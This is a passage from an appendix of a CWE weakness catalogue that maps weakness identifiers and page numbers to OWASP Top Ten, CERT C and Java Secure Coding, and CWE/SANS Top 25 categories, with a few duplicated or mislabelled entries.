<td>OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws (p. 1121)</td>
</tr>
<tr>
<td>CWE-644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax (p. 1001)</td>
</tr>
<tr>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)</td>
</tr>
<tr>
<td>CWE-117</td>
<td>Improper Output Neutralization for Logs (p. 223)</td>
</tr>
<tr>
<td>CWE-74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)</td>
</tr>
<tr>
<td>CWE-77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)</td>
</tr>
<tr>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection) (p. 121)</td>
</tr>
<tr>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)</td>
</tr>
<tr>
<td>CWE-91</td>
<td>XML Injection (aka Blind XPath Injection) (p. 170)</td>
</tr>
<tr>
<td>CWE-95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)</td>
</tr>
<tr>
<td>CWE-98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)</td>
</tr>
<tr>
<td>CWE-728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling (p. 1122)</td>
</tr>
<tr>
<td>CWE-388</td>
<td>Error Handling (p. 670)</td>
</tr>
<tr>
<td>CWE-203</td>
<td>Information Exposure Through Discrepancy (p. 390)</td>
</tr>
<tr>
<td>CWE-209</td>
<td>Information Exposure Through an Error Message (p. 397)</td>
</tr>
<tr>
<td>CWE-228</td>
<td>Improper Handling of Syntactically Invalid Structure (p. 420)</td>
</tr>
<tr>
<td>CWE-252</td>
<td>Unchecked Return Value (p. 447)</td>
</tr>
<tr>
<td>CWE-390</td>
<td>Detection of Error Condition Without Action (p. 673)</td>
</tr>
<tr>
<td>CWE-391</td>
<td>Unchecked Error Condition (p. 677)</td>
</tr>
<tr>
<td>CWE-394</td>
<td>Unexpected Status Code or Return Value (p. 681)</td>
</tr>
<tr>
<td>CWE-636</td>
<td>Not Failing Securely ('Failing Open') (p. 985)</td>
</tr>
<tr>
<td>CWE-7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page (p. 5)</td>
</tr>
<tr>
<td>CWE-729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage (p. 1122)</td>
</tr>
<tr>
<td>CWE-14</td>
<td>Compiler Removal of Code to Clear Buffers (p. 12)</td>
</tr>
<tr>
<td>CWE-226</td>
<td>Sensitive Information Uncleared Before Release (p. 417)</td>
</tr>
<tr>
<td>CWE-261</td>
<td>Weak Cryptography for Passwords (p. 465)</td>
</tr>
<tr>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data (p. 549)</td>
</tr>
<tr>
<td>CWE-321</td>
<td>Use of Hard-coded Cryptographic Key (p. 566)</td>
</tr>
<tr>
<td>CWE-326</td>
<td>Inadequate Encryption Strength (p. 573)</td>
</tr>
<tr>
<td>CWE-327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm (p. 574)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-539:</td>
<td>Information Exposure Through Persistent Cookies (p. 882)</td>
</tr>
<tr>
<td>CWE-591:</td>
<td>Sensitive Data Storage in Improperly Locked Memory (p. 934)</td>
</tr>
<tr>
<td>CWE-598:</td>
<td>Information Exposure Through Query Strings in GET Request (p. 941)</td>
</tr>
<tr>
<td>CWE-730:</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service (p. 1123)</td>
</tr>
<tr>
<td>CWE-170:</td>
<td>Improper Null Termination (p. 328)</td>
</tr>
<tr>
<td>CWE-248:</td>
<td>Uncaught Exception (p. 439)</td>
</tr>
<tr>
<td>CWE-369:</td>
<td>Divide By Zero (p. 648)</td>
</tr>
<tr>
<td>CWE-382:</td>
<td>J2EE Bad Practices: Use of System.exit() (p. 662)</td>
</tr>
<tr>
<td>CWE-400:</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 689)</td>
</tr>
<tr>
<td>CWE-401:</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)</td>
</tr>
<tr>
<td>CWE-404:</td>
<td>Improper Resource Shutdown or Release (p. 700)</td>
</tr>
<tr>
<td>CWE-405:</td>
<td>Asymmetric Resource Consumption (Amplification) (p. 704)</td>
</tr>
<tr>
<td>CWE-410:</td>
<td>Insufficient Resource Pool (p. 710)</td>
</tr>
<tr>
<td>CWE-412:</td>
<td>Unrestricted Externally Accessible Lock (Amplification) (p. 712)</td>
</tr>
<tr>
<td>CWE-476:</td>
<td>NULL Pointer Dereference (p. 800)</td>
</tr>
<tr>
<td>CWE-674:</td>
<td>Uncontrolled Recursion (p. 1044)</td>
</tr>
<tr>
<td>CWE-731:</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management (p. 1123)</td>
</tr>
<tr>
<td>CWE-10:</td>
<td>ASP.NET Environment Issues (p. 8)</td>
</tr>
<tr>
<td>CWE-209:</td>
<td>Permission Issues (p. 489)</td>
</tr>
<tr>
<td>CWE-215:</td>
<td>Information Exposure Through Debug Information (p. 409)</td>
</tr>
<tr>
<td>CWE-219:</td>
<td>Sensitive Data Under Web Root (p. 412)</td>
</tr>
<tr>
<td>CWE-295:</td>
<td>Improper Certificate Validation (p. 522)</td>
</tr>
<tr>
<td>CWE-459:</td>
<td>Incomplete Cleanup (p. 777)</td>
</tr>
<tr>
<td>CWE-489:</td>
<td>Leftover Debug Code (p. 826)</td>
</tr>
<tr>
<td>CWE-526:</td>
<td>Information Exposure Through Environmental Variables (p. 871)</td>
</tr>
<tr>
<td>CWE-527:</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)</td>
</tr>
<tr>
<td>CWE-528:</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)</td>
</tr>
<tr>
<td>CWE-529:</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)</td>
</tr>
<tr>
<td>CWE-530:</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere (p. 873)</td>
</tr>
<tr>
<td>CWE-531:</td>
<td>Information Exposure Through Test Code (p. 874)</td>
</tr>
<tr>
<td>CWE-532:</td>
<td>Information Exposure Through Log Files (p. 875)</td>
</tr>
<tr>
<td>CWE-533:</td>
<td>Information Exposure Through Server Log Files (p. 876)</td>
</tr>
<tr>
<td>CWE-534:</td>
<td>Information Exposure Through Debug Log Files (p. 877)</td>
</tr>
<tr>
<td>CWE-540:</td>
<td>Information Exposure Through Source Code (p. 882)</td>
</tr>
<tr>
<td>CWE-541:</td>
<td>Information Exposure Through Include Source Code (p. 883)</td>
</tr>
<tr>
<td>CWE-542:</td>
<td>Information Exposure Through Cleanup Log Files (p. 884)</td>
</tr>
<tr>
<td>CWE-548:</td>
<td>Information Exposure Through Directory Listing (p. 889)</td>
</tr>
<tr>
<td>CWE-552:</td>
<td>Files or Directories Accessible to External Parties (p. 892)</td>
</tr>
</tbody>
</table>
Graph View: CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

- CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE) (p. 1133)
  - CWE-684: Incorrect Provision of Specified Functionality (p. 1067)
- CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL) (p. 1134)
  - CWE-547: Use of Hard-coded, Security-relevant Constants (p. 888)
  - CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
- CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP) (p. 1134)
  - CWE-467: Use of sizeof() on a Pointer Type (p. 786)
  - CWE-468: Incorrect Pointer Scaling (p. 788)
  - CWE-476: NULL Pointer Dereference (p. 800)
  - CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
- CWE-738: CERT C Secure Coding Section 04 - Integers (INT) (p. 1135)
  - CWE-192: Integer Coercion Error (p. 368)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-190: Integer Overflow or Wraparound (p. 361)
  - CWE-197: Numeric Truncation Error (p. 381)
  - CWE-20: Improper Input Validation (p. 18)
  - CWE-369: Divide By Zero (p. 648)
  - CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
  - CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
- CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP) (p. 1135)
  - CWE-369: Divide By Zero (p. 648)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-682: Incorrect Calculation (p. 1063)
  - CWE-686: Function Call With Incorrect Argument Type (p. 1069)
- CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR) (p. 1136)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-467: Use of sizeof() on a Pointer Type (p. 786)
  - CWE-469: Use of Pointer Subtraction to Determine Size (p. 789)
  - CWE-665: Improper Initialization (p. 1029)
- CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR) (p. 1136)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
  - CWE-170: Improper Null Termination (p. 328)
  - CWE-193: Off-by-one Error (p. 371)
  - CWE-464: Addition of Data Structure Sentinel (p. 783)
- CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM) (p. 1137)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
Appendix A - Graph Views: CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

- CWE-128: Wrap-around Error (p. 256)
- CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- CWE-190: Integer Overflow or Wraparound (p. 361)
- CWE-20: Improper Input Validation (p. 18)
- CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
- CWE-252: Unchecked Return Value (p. 447)
- CWE-415: Double Free (p. 718)
- CWE-416: Use After Free (p. 720)
- CWE-476: NULL Pointer Dereference (p. 800)
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
- CWE-590: Free of Memory not on the Heap (p. 932)
- CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 934)
- CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
- CWE-665: Improper Initialization (p. 1029)
- CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1070)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
- CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO) (p. 1137)
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- CWE-134: Use of Externally-Controlled Format String (p. 277)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-241: Improper Handling of Unexpected Data Type (p. 431)
- CWE-276: Incorrect Default Permissions (p. 491)
- CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)
- CWE-37: Path Traversal: 'absolute/pathname/here' (p. 67)
- CWE-39: Path Traversal: 'C:dirname' (p. 70)
- CWE-391: Unchecked Error Condition (p. 677)
- CWE-403: Exposure of File Descriptor to Unauthorized Control Sphere ('File Descriptor Leak') (p. 698)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-41: Improper Resolution of Path Equivalence (p. 73)
- CWE-495: Improper Resolution of Path Equivalence (p. 73)
- CWE-552: Files or Directories Accessible to External Parties (p. 892)
- CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
- CWE-62: UNIX Hard Link (p. 96)
- CWE-64: Windows Shortcut Following (.LNK) (p. 98)
- CWE-65: Windows Hard Link (p. 100)
- CWE-67: Improper Handling of Windows Device Names (p. 103)
- CWE-675: Duplicate Operations on Resource (p. 1045)
- CWE-676: Use of Potentially Dangerous Function (p. 1046)
- CWE-686: Function Call With Incorrect Argument Type (p. 1069)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-744: CERT C Secure Coding Section 10 - Environment (ENV) (p. 1138)
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- CWE-462: Duplicate Key in Associative List (Alist) (p. 780)
- CWE-705: Incorrect Control Flow Scoping (p. 1108)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-88: Argument Injection or Modification (p. 155)
- CWE-426: Untrusted Search Path (p. 731)
- CWE-275: Permission Issues (p. 489)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-216</td>
<td>Containment Errors (Container Errors)</td>
<td>(p. 411)</td>
</tr>
<tr>
<td>CWE-471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>(p. 793)</td>
</tr>
<tr>
<td>CWE-745</td>
<td>CERT C Secure Coding Section 11 - Signals (SIG)</td>
<td>(p. 1139)</td>
</tr>
<tr>
<td>CWE-479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>(p. 809)</td>
</tr>
<tr>
<td>CWE-662</td>
<td>Improper Synchronization</td>
<td>(p. 1026)</td>
</tr>
<tr>
<td>CWE-746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>(p. 1139)</td>
</tr>
<tr>
<td>CWE-20</td>
<td>Improper Input Validation</td>
<td>(p. 18)</td>
</tr>
<tr>
<td>CWE-391</td>
<td>Unchecked Error Condition</td>
<td>(p. 677)</td>
</tr>
<tr>
<td>CWE-544</td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>(p. 886)</td>
</tr>
<tr>
<td>CWE-676</td>
<td>Use of Potentially Dangerous Function</td>
<td>(p. 1046)</td>
</tr>
<tr>
<td>CWE-705</td>
<td>Incorrect Control Flow Scoping</td>
<td>(p. 1108)</td>
</tr>
<tr>
<td>CWE-747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>(p. 1140)</td>
</tr>
<tr>
<td>CWE-14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
<td>(p. 12)</td>
</tr>
<tr>
<td>CWE-176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>(p. 339)</td>
</tr>
<tr>
<td>CWE-20</td>
<td>Improper Input Validation</td>
<td>(p. 18)</td>
</tr>
<tr>
<td>CWE-330</td>
<td>Use of Insufficiently Random Values</td>
<td>(p. 582)</td>
</tr>
<tr>
<td>CWE-480</td>
<td>Use of Incorrect Operator</td>
<td>(p. 811)</td>
</tr>
<tr>
<td>CWE-482</td>
<td>Comparing instead of Assigning</td>
<td>(p. 816)</td>
</tr>
<tr>
<td>CWE-561</td>
<td>Dead Code</td>
<td>(p. 898)</td>
</tr>
<tr>
<td>CWE-563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
<td>(p. 901)</td>
</tr>
<tr>
<td>CWE-570</td>
<td>Expression is Always False</td>
<td>(p. 908)</td>
</tr>
<tr>
<td>CWE-571</td>
<td>Expression is Always True</td>
<td>(p. 911)</td>
</tr>
<tr>
<td>CWE-697</td>
<td>Insufficient Comparison</td>
<td>(p. 1081)</td>
</tr>
<tr>
<td>CWE-704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>(p. 1107)</td>
</tr>
<tr>
<td>CWE-748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>(p. 1140)</td>
</tr>
<tr>
<td>CWE-170</td>
<td>Improper Null Termination</td>
<td>(p. 328)</td>
</tr>
<tr>
<td>CWE-242</td>
<td>Use of Inherently Dangerous Function</td>
<td>(p. 432)</td>
</tr>
<tr>
<td>CWE-272</td>
<td>Least Privilege Violation</td>
<td>(p. 483)</td>
</tr>
<tr>
<td>CWE-273</td>
<td>Improper Check for Dropped Privileges</td>
<td>(p. 486)</td>
</tr>
<tr>
<td>CWE-363</td>
<td>Race Condition Enabling Link Following</td>
<td>(p. 635)</td>
</tr>
<tr>
<td>CWE-365</td>
<td>Race Condition in Switch</td>
<td>(p. 640)</td>
</tr>
<tr>
<td>CWE-366</td>
<td>Race Condition within a Thread</td>
<td>(p. 641)</td>
</tr>
<tr>
<td>CWE-562</td>
<td>Return of Stack Variable Address</td>
<td>(p. 900)</td>
</tr>
<tr>
<td>CWE-59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>(p. 91)</td>
</tr>
<tr>
<td>CWE-667</td>
<td>Improper Locking</td>
<td>(p. 1034)</td>
</tr>
<tr>
<td>CWE-686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>(p. 1069)</td>
</tr>
<tr>
<td>CWE-696</td>
<td>Incorrect Behavior Order</td>
<td>(p. 1080)</td>
</tr>
</tbody>
</table>
Graph View: CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

- CWE-751: 2009 Top 25 - Insecure Interaction Between Components (p. 1145)
  - CWE-116: Improper Encoding or Escaping of Output (p. 217)
  - CWE-20: Improper Input Validation (p. 18)
  - CWE-209: Information Exposure Through an Error Message (p. 397)
  - CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
    - CWE-346: Origin Validation Error (p. 603)
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
    - CWE-613: Insufficient Session Expiration (p. 962)
    - CWE-642: External Control of Critical State Data (p. 995)

- CWE-752: 2009 Top 25 - Risky Resource Management (p. 1145)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-404: Improper Resource Shutdown or Release (p. 700)
  - CWE-494: Download of Code Without Integrity Check (p. 837)
  - CWE-642: External Control of Critical State Data (p. 995)
  - CWE-665: Improper Initialization (p. 1029)
  - CWE-682: Incorrect Calculation (p. 1063)
  - CWE-73: External Control of File Name or Path (p. 108)
  - CWE-426: Untrusted Search Path (p. 731)
    - CWE-275: Permission Issues (p. 489)
    - CWE-216: Containment Errors (Container Errors) (p. 411)
    - CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)

- CWE-753: 2009 Top 25 - Porous Defenses (p. 1146)
  - CWE-250: Execution with Unnecessary Privileges (p. 441)
  - CWE-259: Use of Hard-coded Password (p. 460)
  - CWE-285: Improper Authorization (p. 502)
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
  - CWE-330: Use of Insufficiently Random Values (p. 582)
  - CWE-602: Client-Side Enforcement of Server-Side Security (p. 949)
  - CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
  - CWE-798: Use of Hard-coded Credentials (p. 1223)
Graph View: CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

- CWE-801: 2010 Top 25 - Insecure Interaction Between Components (p. 1231)
  - CWE-209: Information Exposure Through an Error Message (p. 397)
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
  - CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- CWE-89: Improper Neutralization of Special Elements used in a SQL Command ('SQL Injection') (p. 159)
  - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
  - CWE-346: Origin Validation Error (p. 603)
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
  - CWE-613: Insufficient Session Expiration (p. 962)
  - CWE-642: External Control of Critical State Data (p. 995)
- CWE-802: 2010 Top 25 - Risky Resource Management (p. 1232)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - CWE-190: Integer Overflow or Wraparound (p. 361)
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - CWE-494: Download of Code Without Integrity Check (p. 837)
  - CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
  - CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
  - CWE-805: Buffer Access with Incorrect Length Value (p. 1234)
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- CWE-803: 2010 Top 25 - Porous Defenses (p. 1232)
  - CWE-285: Improper Authorization (p. 502)
  - CWE-306: Missing Authentication for Critical Function (p. 538)
  - CWE-311: Missing Encryption of Sensitive Data (p. 549)
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
  - CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
  - CWE-798: Use of Hard-coded Credentials (p. 1223)
- CWE-808: 2010 Top 25 - Weaknesses On the Cusp (p. 1247)
  - CWE-134: Use of Externally-Controlled Format String (p. 277)
  - CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)
  - CWE-330: Use of Insufficiently Random Values (p. 582)
  - CWE-416: Use After Free (p. 720)
  - CWE-454: External Initialization of Trusted Variables or Data Stores (p. 769)
  - CWE-456: Missing Initialization of a Variable (p. 772)
  - CWE-476: NULL Pointer Dereference (p. 800)
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - CWE-672: Operation on a Resource after Expiration or Release (p. 1041)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-749: Exposed Dangerous Method or Function (p. 1141)
  - CWE-772: Missing Release of Resource after Effective Lifetime (p. 1186)
  - CWE-799: Improper Control of Interaction Frequency (p. 1229)
Appendix A - Graph Views: CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

- CWE-804: Guessable CAPTCHA (p. 1233)
- CWE-426: Untrusted Search Path (p. 731)
- CWE-275: Permission Issues (p. 489)
- CWE-216: Containment Errors (Container Errors) (p. 411)
- CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
Graph View: CWE-809: Weaknesses in OWASP Top Ten (2010)

<table>
<thead>
<tr>
<th>CWE-810: OWASP Top Ten 2010 Category A1 - Injection (p. 1249)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)</td>
</tr>
<tr>
<td>- CWE-88: Argument Injection or Modification (p. 155)</td>
</tr>
<tr>
<td>- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)</td>
</tr>
<tr>
<td>- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)</td>
</tr>
<tr>
<td>- CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) (p. 1249)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management (p. 1250)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-287: Improper Authentication (p. 508)</td>
</tr>
<tr>
<td>- CWE-306: Missing Authentication for Critical Function (p. 538)</td>
</tr>
<tr>
<td>- CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)</td>
</tr>
<tr>
<td>- CWE-798: Use of Hard-coded Credentials (p. 1223)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References (p. 1250)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)</td>
</tr>
<tr>
<td>- CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)</td>
</tr>
<tr>
<td>- CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)</td>
</tr>
<tr>
<td>- CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1266)</td>
</tr>
<tr>
<td>- CWE-862: Missing Authorization (p. 1303)</td>
</tr>
<tr>
<td>- CWE-863: Incorrect Authorization (p. 1308)</td>
</tr>
<tr>
<td>- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery (CSRF) (p. 1250)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)</td>
</tr>
<tr>
<td>- CWE-346: Origin Validation Error (p. 603)</td>
</tr>
<tr>
<td>- CWE-441: Untintended Proxy or Intermediary ('Confused Deputy') (p. 755)</td>
</tr>
<tr>
<td>- CWE-613: Insufficient Session Expiration (p. 962)</td>
</tr>
<tr>
<td>- CWE-642: External Control of Critical State Data (p. 995)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration (p. 1251)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-209: Information Exposure Through an Error Message (p. 397)</td>
</tr>
<tr>
<td>- CWE-219: Sensitive Data Under Web Root (p. 412)</td>
</tr>
<tr>
<td>- CWE-250: Execution with Unnecessary Privileges (p. 441)</td>
</tr>
<tr>
<td>- CWE-538: File and Directory Information Exposure (p. 880)</td>
</tr>
<tr>
<td>- CWE-552: Files or Directories Accessible to External Parties (p. 892)</td>
</tr>
<tr>
<td>- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage (p. 1251)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-311: Missing Encryption of Sensitive Data (p. 549)</td>
</tr>
<tr>
<td>- CWE-312: Cleartext Storage of Sensitive Information (p. 555)</td>
</tr>
<tr>
<td>- CWE-326: Inadequate Encryption Strength (p. 573)</td>
</tr>
<tr>
<td>- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)</td>
</tr>
<tr>
<td>- CWE-759: Use of a One-Way Hash without a Salt (p. 1156)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access (p. 1251)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-285: Improper Authorization (p. 502)</td>
</tr>
<tr>
<td>- CWE-862: Missing Authorization (p. 1303)</td>
</tr>
<tr>
<td>- CWE-863: Incorrect Authorization (p. 1308)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection (p. 1252)</th>
</tr>
</thead>
<tbody>
<tr>
<td>- CWE-311: Missing Encryption of Sensitive Data (p. 549)</td>
</tr>
<tr>
<td>- CWE-319: Cleartext Transmission of Sensitive Information (p. 563)</td>
</tr>
</tbody>
</table>

| CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards (p. 1252) |
CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
Graph View: CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

- CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS) (p. 1295)
  - CWE-171: Cleansing, Canonicalization, and Comparison Errors (p. 332)
  - CWE-116: Improper Encoding or Escaping of Output (p. 217)
  - CWE-134: Use of Externally-Controlled Format String (p. 277)
  - CWE-144: Improper Neutralization of Line Delimiters (p. 293)
  - CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
  - CWE-182: Collapse of Data into Unsafe Value (p. 350)
  - CWE-289: Authentication Bypass by Alternate Name (p. 514)
  - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p. 709)
  - CWE-625: Permissive Regular Expression (p. 975)
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - CWE-838: Inappropriate Encoding for Output Context (p. 1281)
- CWE-846: CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL) (p. 1295)
  - CWE-665: Improper Initialization (p. 1029)
